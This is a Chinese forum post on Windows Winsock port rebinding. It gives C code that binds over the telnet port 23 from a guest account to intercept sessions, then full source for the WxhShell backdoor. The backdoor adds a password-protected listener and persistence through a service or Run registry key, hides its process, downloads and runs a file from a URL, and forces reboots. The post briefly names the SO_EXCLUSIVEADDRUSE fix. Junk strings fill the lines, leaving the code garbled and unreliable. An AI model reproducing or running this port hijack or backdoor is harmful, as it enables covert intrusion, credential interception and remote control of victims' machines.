社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 17663阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: i@WO>+iB  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Wt!;Y,1 s  
?wmu 0rR  
  saddr.sin_family = AF_INET; kn HrMD;  
XAF]B,h=  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); %jq R^F:J  
[a$1{[|)  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Bqa_l|  
@W(,|xES  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 jL5O{R[ x:  
^tm2Duv  
  这意味着什么?意味着可以进行如下的攻击: Gv8Z  
/i Xl] <  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 F$JA IL{W  
%Gu=Dkz  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) RiZ}cd  
hZUS#75M5  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 jL4"FTcE]3  
RN1KM  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  #q0xlF@  
#\Q)7pgi.  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 W0U|XX!&  
p((.(fx  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 P??pWzb6HH  
?H!&4o  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 U'5p;j)_  
lu.xv6+  
  #include w8>bct3@  
  #include U;.cXU{  
  #include I|>IV  
  #include    ci(BPnQ  
  DWORD WINAPI ClientThread(LPVOID lpParam);   -ECnX/ "  
  int main() p"cY/2w:j  
  { WwSyw?T  
  WORD wVersionRequested; @.`HvS  
  DWORD ret; hdM?Uoo(4a  
  WSADATA wsaData; [czWUD  
  BOOL val; :t+Lu H g  
  SOCKADDR_IN saddr; 5HvYy *B/  
  SOCKADDR_IN scaddr; Cd p_niF  
  int err; !g>mjD  
  SOCKET s; 5=8_Le  
  SOCKET sc; p<@+0Uw2  
  int caddsize; GBd mT-7  
  HANDLE mt; &w%%^ +n |  
  DWORD tid;   Pm24;'  
  wVersionRequested = MAKEWORD( 2, 2 ); iHo0:J~  
  err = WSAStartup( wVersionRequested, &wsaData ); (@\0P H0  
  if ( err != 0 ) { zCwb>v  
  printf("error!WSAStartup failed!\n"); )5;|mV  
  return -1; _J3\e%ys  
  } =`gFwH<   
  saddr.sin_family = AF_INET; KHaYb5(a[  
   u8y('\(  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 2@ZuH^qhk  
#?\|)y4i  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); W$" >\A0%  
  saddr.sin_port = htons(23); !$o9:[B  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @ eP[*Q  
  { AucX4J<  
  printf("error!socket failed!\n"); xxdxRy9/  
  return -1; 1BzU-Ma  
  } 2b#> ~  
  val = TRUE; ?* dfIc  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 $~A\l@xAG  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) zfml^N  
  { gp{P _  
  printf("error!setsockopt failed!\n"); mA3yM#  
  return -1; etP`q:6^c  
  } AlgVsE%Va  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Y:'c<k  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 I)G.tJZ e  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 W?12'EG}xa  
z]i/hU  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) m%OX< T!  
  { {+QQ<)l^tJ  
  ret=GetLastError(); 1g|6,J  
  printf("error!bind failed!\n"); MP8s}  
  return -1; GlXzH1wZ  
  } U3c!*i  
  listen(s,2); yucbEDO.  
  while(1) >LR+dShG  
  { BQ~&gy{  
  caddsize = sizeof(scaddr); v{U1B  
  //接受连接请求 =(5}0}j  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); QV%eTA  
  if(sc!=INVALID_SOCKET) zhwajc  
  { j7Lw( AJ  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); lG X_5R  
  if(mt==NULL) v[?eL0Z  
  { /lvH p  
  printf("Thread Creat Failed!\n"); 2) A$bx  
  break; H*dQT y,  
  } }KrZ6cG9#  
  } kI$X~s$r  
  CloseHandle(mt); zB{be_Tw  
  } JvLa@E)  
  closesocket(s); :cTwp K  
  WSACleanup(); &$NVEmW-J  
  return 0; AyZBH &}RZ  
  }   ~48mCD  
  DWORD WINAPI ClientThread(LPVOID lpParam) TqMy">>  
  { 4dvuw{NZ  
  SOCKET ss = (SOCKET)lpParam; V6 ,59  
  SOCKET sc; )'?@raB!  
  unsigned char buf[4096]; u:4?$%rB  
  SOCKADDR_IN saddr; PR1%  
  long num; j,JGs[A  
  DWORD val; DcLx [C  
  DWORD ret; <0)@Ikhx  
  //如果是隐藏端口应用的话,可以在此处加一些判断 uI[lrMQYa  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   IqONDdep9  
  saddr.sin_family = AF_INET; P!2[#TL0  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ,t>/_pI+=  
  saddr.sin_port = htons(23); @AkD-}^[  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) W*|U  
  { )c<5:c  
  printf("error!socket failed!\n"); ;;- I<TL  
  return -1;  0bk094  
  } !ly]{DTmm  
  val = 100; LaiUf_W#X  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }vdhk0  
  { =u`^QE  
  ret = GetLastError(); rru `% ~'O  
  return -1; Nb;Yti@Y.  
  } 1Q$Z'E}SK@  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;zvg]  %  
  { =Wk!mGc  
  ret = GetLastError(); u7<s_M3%N  
  return -1; A@"CrVE  
  } L pdp'9>I  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) m)?cXM  
  { eJ!a8   
  printf("error!socket connect failed!\n"); D8Vb@5MW  
  closesocket(sc); tpi63<N  
  closesocket(ss); "n@=.x  
  return -1; iPJZ%  
  } 8[;U|SR"  
  while(1) -xf=dzm)  
  { G%K<YyAP  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 (UTt_ry g  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 TNC,{sM  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 XA:v:JFS  
  num = recv(ss,buf,4096,0); fXYg %  
  if(num>0) <%Re!y@OL  
  send(sc,buf,num,0); TNV#   
  else if(num==0) Si]8*>}-B  
  break; Fu(I<o+T-  
  num = recv(sc,buf,4096,0); asI:J/%+2  
  if(num>0) 4o2 C=?@(  
  send(ss,buf,num,0); &sQtS  
  else if(num==0) `W[oLQ  
  break; wLC|mByq  
  } A`Bg"k:D  
  closesocket(ss); .HG0%Vp  
  closesocket(sc); ,Tyh._sa  
  return 0 ; ~Hs a6F&F  
  } ~z!U/QR2  
N LC}XL  
E$rn^keM  
========================================================== rf8`|9h"7  
"sRR:wzQu  
下边附上一个代码,,WXhSHELL "ND 7,rQ  
p_ QL{gn  
========================================================== DY{JA *N  
-U=bC   
#include "stdafx.h" mOyBSOad4  
R28h%KN  
#include <stdio.h> BfF$  
#include <string.h> /cDla5eej  
#include <windows.h> ` oYrW0Vm  
#include <winsock2.h> 8<6;X7<-  
#include <winsvc.h> */RtN`dh  
#include <urlmon.h> |k> _ jO  
!T|X/B R  
#pragma comment (lib, "Ws2_32.lib") (a1s~  
#pragma comment (lib, "urlmon.lib") Z %MP:@z  
y)!K@  
#define MAX_USER   100 // 最大客户端连接数 -q\1Tlc]3  
#define BUF_SOCK   200 // sock buffer BaTE59W  
#define KEY_BUFF   255 // 输入 buffer NQ%lwE~  
SVaC)O(  
#define REBOOT     0   // 重启 z&d&Ky  
#define SHUTDOWN   1   // 关机 >+fet ,  
?!~CX`eMZ  
#define DEF_PORT   5000 // 监听端口 (Y!@,rKd   
( _E<?  
#define REG_LEN     16   // 注册表键长度 #f~#38_  
#define SVC_LEN     80   // NT服务名长度 Y9 , KOs  
vh+Ih Gi  
// 从dll定义API T.aY {Y  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 5>JrTO 5  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); dH zo_VV  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >t O(S  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); X'WbS  
'zZN]P  
// wxhshell配置信息 m4|9p{E  
struct WSCFG { A3bE3Fk$  
  int ws_port;         // 监听端口 0\Qqv7>  
  char ws_passstr[REG_LEN]; // 口令 hn-9l1~!h  
  int ws_autoins;       // 安装标记, 1=yes 0=no TgVvp0F;  
  char ws_regname[REG_LEN]; // 注册表键名 .QzHHW4&0  
  char ws_svcname[REG_LEN]; // 服务名 *9((b;Ju  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Yyby 1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 QkwBw^'_5  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7\K=8G  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Dw?nf  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7 rOziKZ"  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <`b)56v:+  
X[ }5hZcX  
}; uG2Hzav  
J(VJMS;_  
// default Wxhshell configuration uJm9h(xq  
struct WSCFG wscfg={DEF_PORT, a}+|2k_  
    "xuhuanlingzhe", vVmoV0kGt  
    1, =zt@*o{F  
    "Wxhshell", )avli@W-3j  
    "Wxhshell", *)ZDN~z7o  
            "WxhShell Service", sV'(y>PP%  
    "Wrsky Windows CmdShell Service", ;+`t[ go  
    "Please Input Your Password: ", z'JtH^^Z  
  1, frk(2C8T  
  "http://www.wrsky.com/wxhshell.exe", $+)SW {7  
  "Wxhshell.exe" [F/>pL5U$  
    }; %<DXM`Y  
vu;pILN  
// 消息定义模块 `\P#TBM  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; } O8|_d  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ksT2_Ic  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; nWfOiw-t  
char *msg_ws_ext="\n\rExit."; J"L+`i  
char *msg_ws_end="\n\rQuit."; yNP M-  
char *msg_ws_boot="\n\rReboot..."; Z~ VOO7|m  
char *msg_ws_poff="\n\rShutdown..."; 3@*J=LGhKc  
char *msg_ws_down="\n\rSave to "; ^i2W=A'P  
tpO%)*  
char *msg_ws_err="\n\rErr!"; J84Q|E  
char *msg_ws_ok="\n\rOK!"; %%}U -*b  
lO9ML-8C1  
char ExeFile[MAX_PATH]; 5\V>Sj(  
int nUser = 0; f+j\,LJ  
HANDLE handles[MAX_USER]; Tf) qd\  
int OsIsNt; K 38e,O  
"m.jcKt  
SERVICE_STATUS       serviceStatus; iVLfAN @  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; r'#5ncB  
&p%0cjg"Q  
// 函数声明 HP^<2?K  
int Install(void); ,8nu%zcVn  
int Uninstall(void); |?hNl2m  
int DownloadFile(char *sURL, SOCKET wsh); O{uc  h  
int Boot(int flag); !jGe_xB}~  
void HideProc(void); 1~Zmc1]  
int GetOsVer(void); 'kf]l=i[n  
int Wxhshell(SOCKET wsl); E4 GtJ`{X  
void TalkWithClient(void *cs); Cb5;l~}L  
int CmdShell(SOCKET sock); o<`Mvw@Z  
int StartFromService(void); u+a" '*  
int StartWxhshell(LPSTR lpCmdLine); N?TXPY  
K>hQls+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); //n$#c _}u  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); {b6| wQ\  
X]d;x/2  
// 数据结构和表定义 A}v! vVg  
SERVICE_TABLE_ENTRY DispatchTable[] = L\)ssO uh  
{ )-%3;e<w  
{wscfg.ws_svcname, NTServiceMain}, @9lV~,,U  
{NULL, NULL} 9AO`Zk{/Ez  
}; &#^^UT(nj  
=VFi}C/  
// 自我安装 S<H 2e{~  
int Install(void) ^pruQp1X  
{ jT>G8}h  
  char svExeFile[MAX_PATH]; #$2 {l,>  
  HKEY key; n]^zIe^6  
  strcpy(svExeFile,ExeFile); ul$k xc=N  
_GS_R%b  
// 如果是win9x系统,修改注册表设为自启动 +e}v) N  
if(!OsIsNt) { 7yM=$"'d  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F_.rLgGY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); CT,PQ  
  RegCloseKey(key); Yl4XgjG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { t% Sgw%f  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^S:S[0\,  
  RegCloseKey(key); Cp4 U`]  
  return 0; $`,10uw  
    } *;cvG?V  
  } 2o2jDQ|7  
} @6\Id7`Ea  
else { KT$Za  
/9T.]H ~  
// 如果是NT以上系统,安装为系统服务 _)-t#Ve  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); fUj[E0yOF  
if (schSCManager!=0) C+o1.#]JM  
{ n-zAkKM  
  SC_HANDLE schService = CreateService T%74JRQ  
  ( ]!CMo+  
  schSCManager, O(x1Ja,&  
  wscfg.ws_svcname, }huj%Pnk )  
  wscfg.ws_svcdisp, N~H!6N W  
  SERVICE_ALL_ACCESS, B' }h6ZH  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9U~fc U6  
  SERVICE_AUTO_START,  ac  
  SERVICE_ERROR_NORMAL, 8J|2b; Vf  
  svExeFile, Nz/PAs7g6  
  NULL, x*>@knP<-  
  NULL, Qw>~] d,Z  
  NULL, c12mT(+-  
  NULL, !r\u,l^  
  NULL >TI/W~M  
  ); r@")MOGc  
  if (schService!=0) 'Ur1I "  
  { [$\KS_,Mn  
  CloseServiceHandle(schService); #+CH0Z  
  CloseServiceHandle(schSCManager); sg YPR  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); gOiZ8K!  
  strcat(svExeFile,wscfg.ws_svcname); Uh[MB wK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ` 1Ui  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;]v{3m  
  RegCloseKey(key); Kk.a9uKI}  
  return 0; Wo)$*?  
    } <pA%|]  
  } "&Q sv-9t  
  CloseServiceHandle(schSCManager); 2{U5*\FhVX  
} co^bS;r  
} X~UrAG}_  
5&)T[Q X`  
return 1; B&fH FyK1n  
} we:P_\6  
L%S(z)xX3  
// 自我卸载 -gn!8G1  
int Uninstall(void) 2P35#QI[)  
{ 2i9FzpC3  
  HKEY key; V.w L  
jk (tw-B  
if(!OsIsNt) { ?+)>JvWDz  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r+TvC{  
  RegDeleteValue(key,wscfg.ws_regname); aH/8&.JLi  
  RegCloseKey(key); \/XU v(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %f)%FN . S  
  RegDeleteValue(key,wscfg.ws_regname); --OAsbr  
  RegCloseKey(key); c r,fyAvX  
  return 0; ,FIG5-e,}  
  } 'p_|Rw>  
} af@R\"N9c  
} ZR]p7{8B  
else { W3+;1S$k  
%Ev)Hk  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); g)!d03Qoy  
if (schSCManager!=0) \jmT#Gt`9  
{ ?,}:)oA_  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); inHlL  
  if (schService!=0) - +<ai  
  { h\T}$jgfWm  
  if(DeleteService(schService)!=0) { PGd?c#v#  
  CloseServiceHandle(schService); J,G/L!Bp  
  CloseServiceHandle(schSCManager); .R^R32ln  
  return 0; QXI#gA  =  
  } q}P UwN6  
  CloseServiceHandle(schService); mX/'Fta  
  } 0g8ykGyx  
  CloseServiceHandle(schSCManager); \B4f5 L8k  
} _ <Ip0?N  
} U| T}0  
C>A} e6o  
return 1; qrHCr:~  
} A&N$=9.N1  
GvzaLEo  
// 从指定url下载文件 B/Js>R  
int DownloadFile(char *sURL, SOCKET wsh) 7Y?59 [  
{ _U|rTil  
  HRESULT hr; Ddh  
char seps[]= "/"; \J(kevX  
char *token; _TwE ym.V  
char *file; |.OS7Gt?  
char myURL[MAX_PATH]; &( ZEs c  
char myFILE[MAX_PATH]; 5{gv \S1  
}wB!Bx2  
strcpy(myURL,sURL); \zh`z/=92  
  token=strtok(myURL,seps); : ]JMsa6  
  while(token!=NULL) )Vz=:.D  
  { 3qQ}U}-;|  
    file=token; /&H l62Ak  
  token=strtok(NULL,seps); Fs}B\R/J  
  } (]Q0L{~K  
C%#w1k  
GetCurrentDirectory(MAX_PATH,myFILE); #/"Tb ^c9  
strcat(myFILE, "\\"); dUQ )&Hv  
strcat(myFILE, file); Bx/)Sl@  
  send(wsh,myFILE,strlen(myFILE),0); ], IQ~  
send(wsh,"...",3,0); :*M2@  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); sa}.o ZpQ  
  if(hr==S_OK) SJ}PV:x  
return 0; C).+h7{nd  
else ~OMo$qt`lP  
return 1; zh{I;~syh  
(M?VB*sm0  
} ov5g`uud  
)gx*;z@  
// 系统电源模块 t*`G@Nj  
int Boot(int flag) )EK\3q  
{ S c ijf 9  
  HANDLE hToken; gj7'4 3 ?W  
  TOKEN_PRIVILEGES tkp; VtzBYza  
[F!h&M0z  
  if(OsIsNt) { q>s`G  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >}bkX 6c5  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |['SiO$)  
    tkp.PrivilegeCount = 1;  Spw^h=o  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9!PM1<p  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); TyvUdU  
if(flag==REBOOT) { Qe0?n  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _H@8qR  
  return 0; (QdLz5\  
} [s[!PlazX  
else { )xL_jSyh  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) tb>Q#QB&u  
  return 0; E#A}2|7,g  
} [s+FX5'K  
  } :j#zn~7  
  else { 6FX]b4  
if(flag==REBOOT) { (tF/2cZk  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) RWB]uHzE  
  return 0; P_P~c~o  
} V#B'm?aQ  
else { yjOZed;M  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) k~2FlRoC^  
  return 0; E<p<"UjcCJ  
} sZwa#CQKq  
} Ld'3uM/  
tR .>d  
return 1; aI;fNy /K  
} |fb*<o eT  
*&5./WEOH  
// win9x进程隐藏模块 uG+eF  
void HideProc(void) 1wE`kbC<  
{ S#0C^  
cpH*!*S  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); M=fhRCUB  
  if ( hKernel != NULL ) ('`mPD,  
  { ~(L&*/c  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =y^ g*9}_  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -%Jm-^F I  
    FreeLibrary(hKernel); 5! ]T%.rM  
  } P  V9q=  
8}X>u2t  
return; c],Zw  
} MM~4D  
% C)|fDwN  
// 获取操作系统版本 ;[7#h8  
int GetOsVer(void) cef:>>6_  
{ <899r \  
  OSVERSIONINFO winfo; X;{U?`b-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Pk8(2fAYk  
  GetVersionEx(&winfo); CX7eCo  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -5\.\L3y)  
  return 1; {;38&Izwz  
  else QvzE:]pyi  
  return 0; Q@TeU#2Y  
} &!*p>Ns)e  
Va/}|& 9  
// 客户端句柄模块 [C3wjYi  
int Wxhshell(SOCKET wsl) U9Lo0K  
{ tbB.n  
  SOCKET wsh; YCBUc<)  
  struct sockaddr_in client; >qdRqy)DC  
  DWORD myID; G[ q<P  
'<wZe.Q!  
  while(nUser<MAX_USER) kqCUr|M.P  
{ m.U&O=]5  
  int nSize=sizeof(client); V^\b"1X7N  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?aZ\D g{  
  if(wsh==INVALID_SOCKET) return 1; <2\Q Y  
d 8z9_C-  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); L @8[.  
if(handles[nUser]==0) c- [IgX e  
  closesocket(wsh); WWA!_  
else )IuwI#pm  
  nUser++; Lf,C5 0  
  } 3UcOpq2i\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); UvGX+M,z'  
CasFj9,  
  return 0; ,*wj~NE  
} jG^OF5.  
ra]\!;}L0  
// 关闭 socket UQ2;Dg G%  
void CloseIt(SOCKET wsh) mW."lzIl  
{ \U?{m)N  
closesocket(wsh); A:?w1"7gT  
nUser--; ^p~3H  
ExitThread(0); (!<G` ;}u  
} .a|ROjd!  
XOzZtt  
// 客户端请求句柄 n{E + r  
void TalkWithClient(void *cs) 1gH>B5`  
{ Byns6k  
p{JE@TM  
  SOCKET wsh=(SOCKET)cs; 3UGdXufw  
  char pwd[SVC_LEN]; p|=0EWo4U  
  char cmd[KEY_BUFF]; o&HFlDZ5jO  
char chr[1]; {"^#CSi  
int i,j; iu'rc/=V  
3]/Y= A  
  while (nUser < MAX_USER) { `{\10j*B  
i'0ol^~y6  
if(wscfg.ws_passstr) { H.TPKdVX  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;4(FS  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ACH!Gw~  
  //ZeroMemory(pwd,KEY_BUFF); y/ah<Y0(  
      i=0; RTYhgq  
  while(i<SVC_LEN) { x;/%`gKn8  
r)Iq47Uiw  
  // 设置超时 {q BbzBG  
  fd_set FdRead; o(5 ( ]bJ  
  struct timeval TimeOut; mvBUm-X  
  FD_ZERO(&FdRead); H{*R(S<I  
  FD_SET(wsh,&FdRead); ;gW?Fnry;  
  TimeOut.tv_sec=8; nB , &m&  
  TimeOut.tv_usec=0; JZ0u/x5  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9/50+2F  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  TGozoPV  
PF-"^2&_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -cWxS{vO  
  pwd=chr[0]; n]%yf9,w  
  if(chr[0]==0xd || chr[0]==0xa) { e@L7p,  
  pwd=0; +DP{_x)t  
  break; Z+x`q#ZQr  
  } .Ue1}'v*,  
  i++; i9y&<^<W  
    } Y&`nB,'  
qXQ7Jg9  
  // 如果是非法用户,关闭 socket 2o-Ie/"d\  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); X6: c-  
} jiAN8t*P  
Yc1ve  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); m_1BB$lyP2  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 38O_PK  
(:T\<  
while(1) { W RVm^  
{AqPQeNgz  
  ZeroMemory(cmd,KEY_BUFF); "4qv yVOE  
6}e"$Ee}9  
      // 自动支持客户端 telnet标准   m-!Uy$yM  
  j=0; @C6.~OiP  
  while(j<KEY_BUFF) { :w 4Sba3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); NX:i]t  
  cmd[j]=chr[0]; s:#\U!>0`  
  if(chr[0]==0xa || chr[0]==0xd) { /CN`U7:E  
  cmd[j]=0; [P746b_\e  
  break; )k|_ CW~  
  } n6 a=(T  
  j++; 8_F5c@7  
    } 69u"/7X  
&\GB_UA  
  // 下载文件 \LpR7D  
  if(strstr(cmd,"http://")) { 7q[a8rUdh  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); '`Iuf\  
  if(DownloadFile(cmd,wsh)) 7{e*isV  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @s;qmBX4  
  else 4q\bnt  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l>O~^41[  
  } r+%}XS%;h  
  else { X,8 ]g.<  
:;]iUjiC8  
    switch(cmd[0]) { cfd7)(6  
  P>3 ;M'KsO  
  // 帮助 /a!M6:,pX  
  case '?': { nB1[OB{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,P9q[  
    break; \P|PAU@,  
  } G\1\L*+0  
  // 安装 6vQCghI  
  case 'i': { !nkjp[p  
    if(Install()) 3@/\j^U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h+7THMI  
    else kKqb:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xMu[#\Vc  
    break; 5J4'\M  
    } A7qKY-4B  
  // 卸载 .v{ok,&  
  case 'r': { o1 kY|cnGH  
    if(Uninstall()) mew,S)dq!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9c@."O`  
    else +bw>9VmG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LJ Aqk2k  
    break; D-tm'APq  
    } RrGFGn{  
  // 显示 wxhshell 所在路径 MIJ^ n(-G  
  case 'p': { vP{22P  
    char svExeFile[MAX_PATH]; [Q2"OG@Q  
    strcpy(svExeFile,"\n\r"); EBX+fzjQo  
      strcat(svExeFile,ExeFile); >qBQfz:U>  
        send(wsh,svExeFile,strlen(svExeFile),0); hY@rt,! 8  
    break; Io81zA  
    } M_wj>NXZ  
  // 重启 $R2iSu{kO  
  case 'b': { yIL6Sb  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); z_^Vgb]  
    if(Boot(REBOOT)) l$~3_3+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .A. VOf_  
    else { "[rChso  
    closesocket(wsh); Hq*\,`b&  
    ExitThread(0); uwcm%N;I"  
    } ^"e|)4_5\  
